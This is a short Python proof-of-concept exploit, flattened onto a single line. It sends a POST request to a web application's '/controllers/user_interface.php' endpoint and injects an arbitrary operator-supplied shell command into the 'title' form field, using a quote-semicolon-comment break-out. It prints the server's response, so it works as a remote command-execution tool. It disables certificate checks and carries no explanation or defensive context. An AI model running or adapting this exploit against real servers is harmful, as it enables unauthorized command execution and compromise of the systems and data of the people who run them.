#!/usr/bin/env python3 import argparse import requests import urllib3 def main(): parser = argparse.ArgumentParser(description="Send a POST request") parser.add_argument("target", help="Target host/port (e.g. 127.0.0.1:8080)") parser.add_argument("command", help="Command to send") urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) args = parser.parse_args() url = f"https://{args.target}/controllers/user_interface.php" payload = f"public_user=true&realm=Jobs&start_date=2099-05-01&end_date=2099-05-31&format=pdf&operation=get_data&title=\'; {args.command}; #" try: response = requests.post(url, payload, timeout=10,verify=False, headers={"Content-Type": "application/x-www-form-urlencoded"}) print('\n'+response.text) except requests.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": main()